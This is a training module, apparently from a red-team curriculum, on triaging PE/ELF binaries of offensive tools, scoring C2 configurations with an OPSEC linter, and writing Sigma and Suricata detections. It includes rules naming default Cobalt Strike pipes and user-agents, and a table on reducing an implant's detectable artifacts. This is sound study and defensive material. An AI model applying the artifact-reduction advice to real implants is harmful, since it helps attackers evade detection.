- A detection on a file hash is bypassed by recompiling. Flag this detection as brittle.
- A detection on imphash is bypassed by adding one dummy import. Marginally less brittle.
- A detection on a PDB path string is bypassed by stripping the binary or changing the path. Cheap.
- A detection on a named-pipe name is bypassed by changing the pipe configuration. Moderate cost.
- A detection on the API call sequence (alloc → write → protect → create-thread) observed via ETW-TI is not bypassed by any of the above. The adversary must redesign the injection primitive. This is where you want to build.
In an interview: when asked "what detection would you build for this tool?", the correct answer starts with the TTP-level behavioral detection, names the sensor (ETW-TI, kernel callback, Sysmon EID 10), and explains why it survives a recompile. Then you also note the lower-tier IOCs (imphash, named pipe) that are fast to check but brittle.
Chapter 7 — OPSEC Hygiene: What a Tool Leaves Behind and Why
7.1 Default artifacts — what ships out of the box
Every tool compiles and runs with defaults. Default artifacts are those that are:
- Well-documented by the security community (known-bad imphash families, Cobalt Strike default pipes).
- Matched by public detection rules (Sigma rules, Suricata rules, YARA).
- Triggerable by a single IOC — the analyst does not need to correlate multiple signals.
| Category | Default artifact | Detection |
|---|---|---|
| Compilation | PDB path with developer username or build server path | strings on binary |
| Compilation | Compile timestamp (TimeDateStamp) not zeroed | dumpbin /headers |
| C2 profile | Default Cobalt Strike named pipe (\.\pipe\MSSE-<4-hex>) | Sysmon EID 17/18 |
| C2 profile | Default user-agent (Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0;)) | Proxy logs |
| C2 profile | Default sleep/jitter (60s/0%) | NetFlow periodic-beacon detection |
| Staging | Well-known imphash for Cobalt Strike / Metasploit beacon family | PE scanner |
| Network | Self-signed cert with default Cobalt Strike subject fields | JA3 or cert inspection |
7.2 The OPSEC linter checklist
An OPSEC linter compares a tool's metadata against this checklist and assigns a noise score. Each item has a weight (impact) and a detection description:
[HIGH impact] default_named_pipe — default C2 pipe name matches known-bad pattern
[HIGH impact] known_imphash — imphash matches a known beacon family in the classification DB
[HIGH impact] default_user_agent — user-agent string matches a known-default pattern
[MEDIUM impact] pdb_path_present — PDB path not stripped from debug directory
[MEDIUM impact] compile_timestamp_present — TimeDateStamp not zeroed
[MEDIUM impact] default_sleep_nojitter — sleep interval is default; jitter not configured
[LOW impact] default_beacon_uri — beacon check-in URI matches a well-known pattern
The output is a ranked list of findings (highest impact first), each with its detection
description: "default Cobalt Strike pipe \.\pipe\MSSE-* — detected by Sysmon EID 17/18 with a
Sigma rule matching the pipe-name pattern."
7.3 What mitigations reduce the signal
Each artifact has a mitigation (not a bypass — a reduction):
| Artifact | Mitigation |
|---|---|
| Default named pipe | Configure a custom pipe name in the C2 malleable profile |
| Default user-agent | Set a realistic user-agent matching the target environment |
| PDB path | Strip the binary or configure the linker to not emit debug info |
| Compile timestamp | Zero the TimeDateStamp field post-compilation |
| Known imphash | Reconfigure imports (add/remove a function); recompile |
| Default beacon URI | Configure a realistic URI pattern in the malleable profile |
None of these mitigations is evasion — they reduce specific low-tier IOC surface while leaving behavioral (TTP-level) detection intact. A JA3 fingerprint changes when the TLS cipher-suite order changes; the behavior of the beacon (periodic outbound connection from an unusual process) does not.
Chapter 8 — Detection Engineering for Tooling
Sysmon rules for tooling indicators
Named pipe creation (Cobalt Strike default pattern):
title: Default C2 Named Pipe Creation
logsource: {product: windows, category: pipe_created}
detection:
selection:
PipeName|contains: 'MSSE-'
condition: selection
tags: [attack.command_and_control, attack.t1071]
DLL loaded from user-writable directory (reflective/sideload):
title: DLL Loaded from User-Writable Path
logsource: {product: windows, category: image_load}
detection:
selection:
ImageLoaded|startswith:
- 'C:\Users\'
- 'C:\ProgramData\'
- 'C:\Temp\'
Signed: 'false'
condition: selection
tags: [attack.defense_evasion, attack.t1574.001]
Process with unexpected outbound network connection:
title: Unexpected Outbound Connection from Scripting Host
logsource: {product: windows, category: network_connection}
detection:
selection:
Image|endswith:
- '\cmd.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\mshta.exe'
Initiated: 'true'
condition: selection
tags: [attack.command_and_control, attack.t1071.001]
Suricata rule for default C2 user-agent
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"Default Cobalt Strike User-Agent";
flow:established,to_server;
http.user_agent; content:"MSIE 9.0";
content:"Trident/5.0";
sid:9000001; rev:1;
)
Chapter 9 — Tooling Languages and Their Binary Characteristics
The JD explicitly names: Python, C#/.NET, C/C++, Rust, Nim, Go, PowerShell.
| Language | Binary type | Key characteristics for triage |
|---|---|---|
| Python | .py script or pyc-bundled PE | _PyObject_New in imports; PyInstaller adds a _MEIPASS2 artifact |
| C#/.NET | PE with CLR metadata | mscoree.dll!_CorExeMain in import table; .text contains MSIL bytecode; DataDirectory[14] = CLR header; clrjit.dll loaded at runtime |
| C/C++ | Native PE/ELF | Direct Win32 imports or Linux libc imports; MSVC linker version in optional header; __libc_start_main in ELF dynsym |
| Rust | Native PE/ELF | No C runtime; imports kernel32.dll + ntdll.dll directly on Windows; ELF imports libpthread.so; panics leave rust_begin_unwind in export/symbol table |
| Nim | Native PE/ELF cross-compiled | NimMain symbol in export table or ELF dynsym; links against libgcc / mingw on Windows; very small import table on Windows builds — quiet from an imphash standpoint |
| Go | Native PE/ELF | Large binary size; main.main entry; runtime.Goroutine, runtime.newproc in ELF dynsym or PE export; c:\go\src\ in strings if not stripped |
| PowerShell | Script (text) or AMSI-visible buffer | Loaded into powershell.exe or pwsh.exe; AMSI scans the decoded buffer; Sysmon EID 1 CommandLine or ScriptBlock EID 4104 |
Nim deserves special attention because it is explicitly named in the JD. Nim compiles to native
code via GCC/CLANG cross-compilation. On Windows, a Nim binary built with nim c --cpu:amd64 --os: windows produces a PE that:
- Has very few imports (often just
kernel32.dll+ntdll.dll+ws2_32.dll). - Lacks MSVC runtime artifacts (
msvcrt.dllis not imported). - Contains
NimMainin its export table if it is a DLL. - Is not flagged by name-based AV signatures that look for "known tool strings."
The low-import-count PE is quiet from an imphash perspective but is detectable at the behavioral level by the same API sequence any injection tool produces.
Chapter 10 — Misconceptions
"Static analysis catches everything." Static analysis catches structural IOCs: imphash, PDB path, strings, exported function names. Packed or obfuscated binaries hide all of these. The PE header fields (subsystem, size of optional header) are still readable, but the import table may be empty or fake. Static analysis is the first pass; behavioral (dynamic) analysis is the complement.
"Stripping a binary makes it clean." Stripping removes the section header names and debug symbols. It does not remove the import table (IDT), the export table, or the PE header fields. imphash, named-pipe defaults, and behavioral indicators survive stripping.
"imphash is the primary detection for a tool." It is one of the weakest detections. It changes with a recompile. For engagement-grade tooling triage, focus on the behavioral IOCs (API call sequence, parent-child tree, ETW-TI events) that survive any recompilation.
"A quiet imphash means the tool is safe to use." A Nim-built PE with almost no imports has a
very distinctive imphash because it is so empty — a PE that only imports kernel32.dll + ntdll.dll from a process that should have a richer import table is suspicious. Quiet is not
invisible.
"OPSEC hygiene is just about renaming the binary." Renaming a binary changes the file hash and on-disk name. It does not change the imphash, the PDB path, the named-pipe name, the user-agent, the JA3 fingerprint, or the behavioral API sequence. Each of those requires a separate targeted mitigation.
"A known-bad imphash match is a confirmed malicious binary." imphash family clustering groups binaries by their build configuration. Multiple legitimate programs share import table patterns. A match narrows the scope for investigation; it is not a conviction. Correlate with other IOCs.
Lab Walkthrough
Lab 01 — PE/ELF Format Analyzer
What it does. Ingests a synthetic binary metadata dict (mimicking what pefile / pyelftools
would return) and:
- Extracts the file type, architecture, subsystem, compilation timestamp.
- Parses the import list and computes the imphash.
- Extracts the PDB path (if present) from the debug directory.
- Lists exports.
- Returns a structured analysis with OPSEC indicator flags.
Key data structure:
pe_metadata = {
"magic": "MZ",
"machine": "x86-64",
"timestamp": 1710000000, # Unix epoch of compilation
"subsystem": 3, # CUI
"imports": [
("kernel32.dll", "CreateProcessW"),
("kernel32.dll", "VirtualAllocEx"),
("ntdll.dll", "NtWriteVirtualMemory"),
("ws2_32.dll", "WSAStartup"),
],
"exports": [],
"pdb_path": "C:\\Users\\operator\\implant\\x64\\Release\\implant.pdb",
"sections": [".text", ".data", ".rdata", ".reloc"],
}
Solution logic:
extract_file_type(meta)— "PE32+" (magic "MZ" + machine "x86-64").compute_imphash(imports)— normalize each(dll, func)todll_no_ext.func_lower, join, MD5.extract_pdb_path(meta)— returnmeta.get("pdb_path").opsec_flags(meta)— check: PDB path present (pdb_pathnot None/empty), timestamp not zeroed, export table namedReflectiveDll, known-bad imphash in a small catalog.analyze(meta)— returns{file_type, imphash, exports, pdb_path, opsec_flags}.
Running:
cd phase-02-offensive-tooling-development/lab-01-pe-format-analyzer
LAB_MODULE=solution python3 -m pytest -q # 14 tests
Lab 02 — Tooling IOC / OPSEC Linter
What it does. Ingests a tooling inventory — a list of tool dicts, each with configuration metadata — and runs each tool against the OPSEC checklist. Returns a ranked list of OPSEC findings with detection descriptions and a per-tool noise score.
Key data structure:
tool_inventory = [
{
"name": "beacon-alpha",
"type": "c2_agent",
"named_pipe": "MSSE-1234-server", # default Cobalt Strike pattern
"user_agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0;)",
"beacon_uri": "/api/",
"sleep_seconds": 60,
"jitter_percent": 0,
"imphash": "a8c7b3d2e1f0a9b8c7d6e5f4a3b2c1d0", # not in known-bad catalog
"pdb_path_stripped": False,
"pdb_path": "C:\\build\\payload.pdb",
}
]
Solution logic:
check_named_pipe(tool)— comparenamed_pipeagainst known-bad patterns (MSSE-,postex_,dce_4,status_,msagent_). ReturnHIGHfinding with Sysmon EID 17 detection description if matched.check_user_agent(tool)— compare against known-default agent strings.HIGHfinding.check_imphash(tool, known_bad_db)— lookup in known-bad imphash catalog.HIGHfinding.check_pdb(tool)— ifpdb_path_stripped == Falseandpdb_pathnon-empty.MEDIUMfinding.check_sleep_jitter(tool)— ifjitter_percent == 0andsleep_secondsis a common default (60, 3600).MEDIUMfinding.check_beacon_uri(tool)— known-default patterns (/api/,/submit.php,/g.pixel).LOW.lint(tool_inventory, known_bad_db)— runs all checks; weights: HIGH=3, MEDIUM=2, LOW=1; sorts findings by weight desc; returns{tool_name, noise_score, findings: [...]}.highest_risk_tool(linted_results)— tool with highest noise_score.
Running:
cd phase-02-offensive-tooling-development/lab-02-tooling-ioc-opsec-linter
LAB_MODULE=solution python3 -m pytest -q # 15 tests
Success Criteria
After completing this phase, without notes you can:
-
Draw the PE layout from offset 0: DOS header (
e_lfanew) → NT headers (signature + file header + optional header) → section table → sections. -
Name the fields in
IMAGE_FILE_HEADERand what each means for triage. -
Compute imphash from a list of
(dll, function)tuples (normalize, join, MD5). - Explain the Pyramid of Pain and place imphash, named-pipe name, API sequence, and TTP each at the correct tier.
-
Explain the difference between
ET_EXECandET_DYNin an ELF and what it implies. - Name three host-based, three network-based, and two behavioral IOCs for a typical C2 agent.
- Name three default OPSEC indicators that ship with common C2 frameworks and their detections.
- Write a Sysmon Sigma rule for a named-pipe creation IOC.
-
Pass both labs (14 + 15 tests green with
LAB_MODULE=solution).
Common Mistakes and OPSEC
Reporting imphash without noting it is bottom-of-pyramid. A report that says "we identified this tool by its imphash" without also providing the behavioral detection leaves the client with a detection that fails on the first recompile.
Treating PDB-path presence as the most important finding. PDB paths are easy to find and easy to strip. Prioritize named-pipe and user-agent defaults — they require profile reconfiguration to fix, not just a linker flag.
Missing the ELF .dynamic section for Linux tooling. PE analysis is better-tooled, so analysts
often stop at ldd for ELF libraries. The .dynamic section is the DT_NEEDED list — equivalent
to the PE IDT — and provides the same family-classification value.
Confusing Nim and Go by binary size. Nim-compiled binaries targeting Windows are often small (GCC static libc); Go binaries are characteristically large (statically linked Go runtime). Both have minimal imports on Windows; size and symbol table contents distinguish them.
Equating a clean OPSEC linter score with a safe tool. The linter checks known default indicators. A tool that is not in any known-bad catalog and has no default named pipes can still be detected via behavioral IOCs (ETW-TI, kernel callbacks) — those are not within the linter's scope. Document this limitation.
Interview Q&A
Q1: Walk me through the PE format from the DOS header to the import table. What fields matter most for triage?
Answer:
A PE file begins at offset 0 with the IMAGE_DOS_HEADER, which opens with the two-byte MZ magic
(0x4D5A). The field at offset 0x3C is e_lfanew, a 4-byte offset pointing to the
IMAGE_NT_HEADERS structure. Between the DOS header and that offset is the DOS stub (the
"This program cannot be run in DOS mode" message that most PE tools skip).
At e_lfanew is the NT headers, structured as: a 4-byte PE signature ("PE\0\0"), then the
20-byte IMAGE_FILE_HEADER:
Machine(2 bytes):0x8664= AMD64,0x14C= i386. This tells you the target architecture.NumberOfSections: how many section table entries follow the optional header.TimeDateStamp(4 bytes): Unix epoch of when the linker produced the binary. A default-on IOC unless zeroed.
Then the IMAGE_OPTIONAL_HEADER (variable size based on PE32 vs PE32+):
Magic:0x20B= PE32+ (64-bit),0x10B= PE32 (32-bit).AddressOfEntryPoint: RVA of the first instruction. Unusual value (e.g., points into.data) is a red flag.Subsystem: 2 = Windows GUI, 3 = console, 14 = EFI. A console tool with subsystem 2 is suspicious.DataDirectory[1]— the Import Directory: RVA and size of the IDT.DataDirectory[6]— the Debug Directory: where the PDB path lives.
At e_lfanew + 4 + 20 + SizeOfOptionalHeader is the section table — an array of
IMAGE_SECTION_HEADER structures. Each has the section name (.text, .data, etc.), virtual
address, virtual size, and file offset.
For triage, the highest-signal fields are: Machine (tells you platform), TimeDateStamp
(timestamps the build), Subsystem (GUI vs console anomaly), DataDirectory[1] (import table →
imphash → family classification), and DataDirectory[6] (PDB path → operator identity). The
section table gives the code/data layout and flags like missing .reloc (unusual for DLLs) or
an unusually large .rsrc (possible resource-hiding).
Q2: What is imphash, how is it computed, and where does it sit on the Pyramid of Pain? When is it useful and when is it not?
Answer:
imphash (import hash) is the MD5 of the PE's normalized import list. The normalization: for each
(DLL, function) pair in Import Directory Table order, lowercase the DLL name, strip the .dll
extension, lowercase the function name, concatenate as dll.function. Join all pairs with commas,
MD5 the result.
It was introduced by Mandiant in 2014 to group malware families: binaries compiled from the same source with the same linker and library versions produce identical import tables (same function order, same DLL names), so they produce the same imphash. The imphash groups them into a family fingerprint without requiring identical file content.
On the Pyramid of Pain, imphash sits at the hash layer — one step above raw file hash. The adversary cost to change it: add one dummy import function to the source code, recompile. Five minutes. It is therefore not a durable detection — it is a classification and triage tool.
It is useful when: you have a sample with an unknown imphash and you want to cluster it against your database of known-bad families ("this PE's imphash matches the Cobalt Strike 4.x beacon family"); or in DFIR when you want to establish that two binaries from different intrusions share the same build configuration.
It is not useful as a production detection rule in a SIEM: the rule would be bypassed within one
recompile cycle. The durable detection for the same tool is at the TTP layer: the API call
sequence (VirtualAllocEx → WriteProcessMemory → CreateRemoteThread) observed via ETW-TI,
which survives any recompile.
Q3: Explain the difference between the Import Directory Table and the Import Address Table in a PE. Why does the IAT matter for detecting process injection?
Answer:
Both the IDT and IAT are data structures in the PE's import machinery, but they serve different purposes at different times.
The Import Directory Table (IDT) is the static, compile-time structure: an array of
IMAGE_IMPORT_DESCRIPTOR entries, one per imported DLL. Each entry contains:
- The DLL name (RVA to ASCII string).
- An INT (Import Name Table) pointer: RVA to an array of IMAGE_THUNK_DATA, each pointing to a function name or ordinal.
- An IAT pointer: same structure, but this is what the loader overwrites at load time.
The Import Address Table (IAT) starts as a copy of the INT on disk. At load time, the Windows
loader resolves each import: it finds the DLL in memory, locates the exported function, and writes
the actual virtual address into the IAT slot. After load, the IAT entries are live function pointers
that the compiled code calls through (CALL QWORD PTR [rip + offset_to_IAT_slot]).
Why the IAT matters for injection detection:
Classic IAT hooking (and classic injection) involves writing a new address into an IAT slot — redirecting a function call to attacker code. EDR user-mode hooks do the inverse: they overwrite IAT-adjacent entries (or the function's preamble) to intercept calls. The IAT is the live jump table in a running process's address space.
More relevantly for modern injection detection: ETW-TI monitors NtWriteVirtualMemory calls
targeting another process's address space. If code writes to the remote process's IAT region, that
write is observable — it appears as an ALLOCATE/WRITE/PROTECT sequence on the remote process
memory region that overlaps the IAT's virtual address range. This is a specific behavioral IOC:
cross-process write to an address within the target PE's mapped image = likely hook or injection.
Q4: What OPSEC indicators does a compiled tool leave by default? Name three and their detection.
Answer:
1. PDB path in the debug directory. When compiled with debug information enabled (the default
in MSVC and many build systems), the PE contains a DEBUG data directory entry of type
IMAGE_DEBUG_TYPE_CODEVIEW that includes the absolute path to the .pdb file on the build system.
This path typically contains the developer's username, the project directory, and the binary name.
Detection: strings or FLOSS on the binary; pefile Python library's DIRECTORY_ENTRY_DEBUG
parse; many AV/EDR products extract this path during file scanning. Any binary submitted to
VirusTotal has its PDB path indexed.
2. Default named pipe name for C2 agents. C2 frameworks ship with default internal IPC pipe
names that are documented by the security community: Cobalt Strike defaults include the pattern
\pipe\MSSE-<4hex>-server and \pipe\postex_ssh_<4hex>.
Detection: Sysmon EID 17 (PipeEvent: Pipe Created) logs the pipe name when a named pipe is
created. A Sigma rule matching PipeName|contains: "MSSE-" or "postex_" fires on the pipe
creation, before any connection uses it.
3. Compilation timestamp (TimeDateStamp) not zeroed. The IMAGE_FILE_HEADER.TimeDateStamp
is set to the Unix epoch at link time. It is not zeroed by default. In a DFIR timeline, this field
timestamps the build event and, if genuine, tells you when the binary was compiled relative to
when the attack began (a freshly compiled binary minutes before the attack is a high-confidence
custom build; a years-old timestamp suggests a re-used tool).
Detection: extracted during any PE triage (dumpbin /headers, pefile); DFIR platforms record it
in their file metadata. It is not alertable in real time but is a critical timeline artifact.
Q5: How does the ELF .dynamic section compare to the PE import table for tooling classification?
Answer:
They serve the same purpose — specifying runtime library dependencies — but the ELF mechanism is more general and the classification differs in detail.
In a PE, the IDT is a flat array of (DLL, function list) pairs. The Windows loader walks the
IDT at process creation, finds each DLL, and resolves each function by name or ordinal. The IDT is
required for any binary that uses external functions.
In an ELF, the .dynamic section is a list of tagged entries. The relevant ones:
DT_NEEDEDentries: one per required shared library, each naming the library (e.g.libc.so.6,libpthread.so.0). These are the equivalent of the PE's DLL name list.DT_SYMTAB→.dynsym: the dynamic symbol table, listing function names with their version requirements. This is equivalent to the per-DLL function import list.DT_JMPREL→.rela.plt: relocation entries for PLT stubs — the lookup table that gets filled in at first call (equivalent to IAT at runtime).
For classification, the ELF dynamic symbol table (.dynsym) is the richest source: it lists the
exact library function names the binary uses. A Linux implant that imports mmap, mprotect,
memfd_create, and dlopen but nothing from higher-level libraries (no printf, no network stack
functions) is exhibiting a shellcode-loader-like import profile. A Nim-compiled binary on Linux will
have a characteristic set of libgcc and runtime symbols mixed with minimal libc use.
The limitation: a statically linked binary (common in Go, sometimes Rust, sometimes custom loaders)
has no .dynamic section and no .dynsym — all code is inlined. Classification falls back to
symbol table strings (if not stripped) or strings / FLOSS output.
Q6: You find a binary with no import table entries. What are the likely explanations, and how do you triage further?
Answer:
A PE with an empty or absent IDT (DataDirectory[1] size = 0) is unusual and indicates one of several scenarios, ranging from benign to high-fidelity IOC:
1. Statically linked. The binary was compiled with all dependencies inlined (e.g., a Rust or Go
binary targeting Windows compiled with the default static runtime). It does not need imports because
all code is in the binary itself. These are large in file size. Triage: check the binary size; look
for Go runtime strings (runtime.main, runtime.Goroutine) or Rust panic symbols
(rust_begin_unwind).
2. Manually mapped / packed / encrypted. The original import table has been removed and the
binary resolves imports at runtime via a custom loader (calls GetProcAddress / LoadLibraryA
manually). This is a common packing technique. Triage: look for GetProcAddress and LoadLibraryA
(or their hashed equivalents) in the strings; look for unusually large entropy sections (packed/
encrypted); the entry point may be in a .data or unnamed section (non-standard). Use DIE
(Detect-It-Easy) or PEid to identify common packers.
3. Reflective loader. A reflective DLL is a DLL that has been modified so its ReflectiveLoader
export can load it from memory. The in-memory version often has a minimal or reconstructed import
table; only the loader stubs for GetProcAddress / LoadLibraryA appear. Triage: check the export
table for ReflectiveDll, ReflectiveLoader, or a single numeric export ordinal. Scan the raw
bytes for the MZ/PE header sequence at non-zero offsets within the file (shellcode blob with
embedded PE).
Triage further:
- Run
strings/FLOSSto extract readable strings. - Check entropy per section;
> 7.5suggests encryption or compression. - Examine the entry point's bytecode with a disassembler (
Ghidra,Binary Ninja) — look for a GetProcAddress-resolution loop pattern. - If you find an embedded PE (search bytes for
4D5A/5045patterns), extract and analyze it.
Q7: A tool has a known-bad imphash. The attacker recompiles it with one dummy import. Does your detection survive? What would you build instead?
Answer:
No, the imphash-based detection does not survive the recompile. Adding one import function changes the ordered import list; the MD5 changes; the imphash does not match the known-bad hash. The detection fails on the first rebuild.
This is the Pyramid of Pain lesson applied directly: imphash sits at the hash layer. The adversary cost is a code change of one line and a recompile. Your detection was worth zero minutes of friction.
What to build instead — three layers, each more durable:
Layer 1: Named artifact detection (host). If the tool creates a specific named pipe, mutex, or temporary file path, detect on that name. Pipe names require profile reconfiguration to change; mutexes require source code changes. Sysmon EID 17 for pipe creation, keyed on the name pattern (not the imphash), survives recompilation.
Layer 2: Behavioral / API call sequence (host).
The tool implements a technique. The technique requires a specific API call sequence. For a remote
process injector: VirtualAllocEx in process A targeting process B's PID, followed by
WriteProcessMemory, followed by NtCreateRemoteThread. This sequence is observable via ETW-TI at
the kernel boundary, regardless of which DLL imported which function or what the imphash is. Build
this detection in your EDR's ETW-TI consumer or via Sysmon EID 8 (CreateRemoteThread) + EID 10
(ProcessAccess with PROCESS_VM_WRITE mask).
Layer 3: Network behavioral detection. The tool communicates with C2. JA3/JA4 fingerprints the TLS ClientHello; changing the cipher-suite list requires a code or config change, not just a recompile. The beacon timing pattern (periodic egress from an unusual process) requires architectural change. Build these detections at the network layer: JA3 match + beacon-interval analysis in Zeek or a SIEM rule on periodic NetFlow.
Q8: Walk me through how you would produce the tooling triage artifact for a real engagement.
Answer:
On a real engagement (authorized lab only), the tooling triage artifact is produced in four steps.
Step 1 — Inventory. List every tool in the engagement toolkit. For each tool, record: binary name and path, language/runtime, version, MD5/SHA256 of the binary, and the C2 configuration in use (profile name, named pipes, user-agent, beacon interval, jitter).
Step 2 — Static analysis. For each binary, run:
pefile(Python) ordumpbin /headerson Windows binaries: extractMachine,TimeDateStamp,Subsystem, import list, export list, PDB path. Compute imphash.file+objdump -p/readelf -don Linux binaries: extracte_type,e_machine,DT_NEEDEDlist,.dynsymsymbols.strings/FLOSS: extract readable strings for hardcoded paths, URIs, version strings.- Check each imphash against the classification database.
Feed the resulting dict into the PE/ELF format analyzer (Lab 01). The analyzer output is the per-binary triage report.
Step 3 — OPSEC linter. Feed the tool's configuration metadata (named pipes, user-agent, URI, jitter, imphash, PDB-stripped flag) into the OPSEC linter (Lab 02). The linter output is a ranked OPSEC findings list for each tool.
Step 4 — Detection map and deliverable. For each tool, produce the detection-layer map:
| IOC | Layer | Pyramid level | Detection | Durability |
|---|---|---|---|---|
| File hash | Host | Hash | AV/EDR scan | Fails on recompile |
| imphash | Host | Hash | PE scanner family DB | Fails on dummy import |
| Named pipe | Host | Artifact | Sysmon EID 17 + Sigma | Requires profile change |
| User-agent | Network | Artifact | Proxy rule | Requires profile change |
| API sequence | Host (ETW-TI) | TTP | EDR behavioral rule | Requires redesign |
Hand the client the detection map as an appendix to the engagement report. They implement the highest-durability detections they are missing. The hash-level detections are noted as supplementary.
References
Binary format:
- Microsoft PE/COFF specification —
learn.microsoft.com/windows/win32/debug/pe-format - ELF-64 Object File Format — Tool Interface Standard,
refspecs.linuxbase.org/elf/elf.pdf pefilePython library — Ero Carrera — GitHubpyelftoolsPython library — Eli Bendersky — GitHub
Detection and classification:
- Mandiant: "Tracking Malware with Import Hashing" — Carhart (2014) — original imphash definition
- David Bianco — "The Pyramid of Pain" (blog.opensecurityresearch.com)
- mandiant/capa — capability extraction and ATT&CK mapping from static PE analysis (GitHub)
- FLOSS (FireEye Labs Obfuscated String Solver) — extracts obfuscated strings from binaries
Detection rules:
- SigmaHQ/sigma — Sysmon rules for named-pipe creation, image-load from unusual paths, network connection from scripting hosts
- Elastic Detection Rules — rules for PE anomalies and tooling behavioral IOCs
Tooling languages:
- Nim language documentation (
nim-lang.org) — cross-compilation, Windows targets - Go toolchain documentation (
go.dev) — static linking, runtime characteristics - Rust on Windows —
rustuptargetx86_64-pc-windows-gnu/msvc— import table differences
OPSEC and C2 profiles:
- Cobalt Strike malleable C2 profile documentation (Raphael Mudge / Fortra)
threatexpress/malleable-c2-profiles— community C2 profiles and their OPSEC notes (GitHub)
Hitchhiker's Guide — Triage a Binary, Score Its OPSEC, Write the Detection
The analyst/range walkthrough for Phase 02. On an owned range (or on allowed system binaries), you use
objdump,readelf, anddumpbinto observe real PE/ELF structure; translate that into the lab's synthetic dict format; feed it through the format analyzer and OPSEC linter; then write a Sysmon Sigma rule for the highest-noise finding.Safety (non-negotiable). You analyze allowed binaries — legitimate system binaries (
notepad.exe,/bin/ls,/usr/bin/python3) or tools you built yourself on an isolated range. There is no malware, no live C2 agent, no weaponized payload involved. The PE/ELF structure of a legitimate system binary demonstrates all the same format concepts that a tool binary would; the lab works on dicts regardless. Never analyze unknown or untrusted binaries on a host connected to production networks.
Table of Contents
- 0. Authorize and scope
- 1. Read a PE header with
dumpbin/pefile - 2. Read an ELF header with
objdump/readelf - 3. Translate the output into the lab dict format
- 4. Run the format analyzer (Lab 01)
- 5. Run the OPSEC linter (Lab 02)
- 6. Write the Sigma rule for the highest-noise finding
- 7. The evidence packet
- 8. Teardown
- Common false claims
0. Authorize and scope
Before touching any binary:
- Owner: you own the range or are analyzing a system binary (
notepad.exe,/bin/ls) in a read-only, non-production context. - Scope: static analysis only — no execution, no dynamic analysis, no network connection.
- Tools allowed:
dumpbin,objdump,readelf,file,strings,pefilePython library. - Data: the binary metadata you extract stays on your range machine. No uploads to public sandboxes without explicit engagement authorization.
- Stop condition: if the binary is unknown origin or triggers AV detection → do not analyze on a production machine; use an isolated sandbox VM.
1. Read a PE header with dumpbin / pefile
On a Windows range VM, analyze a system binary as a format exercise:
# On Windows (Visual Studio Build Tools or MSVC installed):
dumpbin /headers C:\Windows\System32\notepad.exe
Key fields to locate in the output:
FILE HEADER VALUES
8664 machine (x64)
... time date stamp <- Unix timestamp
... characteristics
OPTIONAL HEADER VALUES
20B magic # (PE32+)
... linker version
... entry point
... subsystem (2 = GUI)
...
DATA DIRECTORIES
... [0] export directory RVA size
... [1] import directory RVA size
... [6] debug directory RVA size
IMPORTS
KERNEL32.dll
... WriteFile
... ReadFile
...
With Python pefile (install in isolated range venv):
import pefile, hashlib
pe = pefile.PE("C:/Windows/System32/notepad.exe")
# Machine, timestamp, subsystem:
print("Machine:", hex(pe.FILE_HEADER.Machine))
print("TimeDateStamp:", pe.FILE_HEADER.TimeDateStamp)
print("Subsystem:", pe.OPTIONAL_HEADER.Subsystem)
# Imports:
for entry in pe.DIRECTORY_ENTRY_IMPORT:
dll = entry.dll.decode()
for imp in entry.imports:
name = imp.name.decode() if imp.name else f"ord_{imp.ordinal}"
print(f" {dll} -> {name}")
# PDB path:
if hasattr(pe, 'DIRECTORY_ENTRY_DEBUG'):
for dbg in pe.DIRECTORY_ENTRY_DEBUG:
if dbg.struct.Type == 2: # IMAGE_DEBUG_TYPE_CODEVIEW
pdb = dbg.entry.PdbFileName.decode(errors='replace').rstrip('\x00')
print("PDB:", pdb)
Capture the output and use it to fill in the pe_metadata dict in §3.
2. Read an ELF header with objdump / readelf
On Linux (Ubuntu 22.04 range VM), analyze a system binary:
# ELF header:
readelf -h /usr/bin/python3
# Program headers (segments):
readelf -l /usr/bin/python3
# Dynamic section (equivalent of PE import table):
readelf -d /usr/bin/python3 | grep 'NEEDED\|RPATH\|RUNPATH'
# Dynamic symbol table (function imports):
readelf -W --syms /usr/bin/python3 | grep 'UND' # undefined = imported from shared libs
# Sections:
readelf -S /usr/bin/python3
Key output to capture:
ELF Header:
Class: ELF64
Type: DYN (Position-Independent Executable file)
Machine: Advanced Micro Devices X86-64
Entry point address: 0x...
Dynamic section:
(NEEDED) Shared library: [libc.so.6]
(NEEDED) Shared library: [libpthread.so.0]
(NEEDED) Shared library: [libdl.so.2]
Symbol table '.dynsym':
UND openat@@GLIBC_2.10
UND mmap@@GLIBC_2.2.5
...
3. Translate the output into the lab dict format
Convert the dumpbin or pefile output for the PE to the Lab 01 dict format:
# Example from notepad.exe (values illustrative, not exact)
pe_metadata = {
"magic": "MZ",
"machine": "x86-64",
"timestamp": 1670000000, # from TimeDateStamp
"subsystem": 2, # 2 = Windows GUI (expected for notepad)
"imports": [
("KERNEL32.dll", "WriteFile"),
("KERNEL32.dll", "ReadFile"),
("KERNEL32.dll", "CreateFileW"),
("USER32.dll", "MessageBoxW"),
("USER32.dll", "CreateWindowExW"),
# ... (add all imports from dumpbin output)
],
"exports": [], # notepad has no exports
"pdb_path": "", # production binaries have PDB stripped
"sections": [".text", ".data", ".rdata", ".rsrc", ".reloc"],
}
For the ELF dict (Lab 01 ELF variant):
elf_metadata = {
"magic": "ELF",
"e_type": "ET_DYN",
"machine": "x86-64",
"needed": ["libc.so.6", "libpthread.so.0", "libdl.so.2"],
"dynsym_undefined": ["openat", "mmap", "mprotect", "read", "write"],
"sections": [".text", ".data", ".rodata", ".dynamic", ".dynsym", ".rela.plt"],
"interp": "/lib64/ld-linux-x86-64.so.2",
}
For the OPSEC linter dict (Lab 02), build a synthetic tool entry that demonstrates a high-noise configuration. Use values that represent "what a default-configured C2 agent would show" — not a real agent, but a realistic fictional one for the exercise:
synthetic_tool = {
"name": "beacon-default",
"type": "c2_agent",
"named_pipe": "MSSE-4abc-server", # default Cobalt Strike pipe pattern
"user_agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0;)",
"beacon_uri": "/api/",
"sleep_seconds": 60,
"jitter_percent": 0,
"imphash": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6", # fictional; not known-bad
"pdb_path_stripped": False,
"pdb_path": "C:\\build\\implant.pdb",
}
4. Run the format analyzer (Lab 01)
cd red-team-engineer/phase-02-offensive-tooling-development/lab-01-pe-format-analyzer
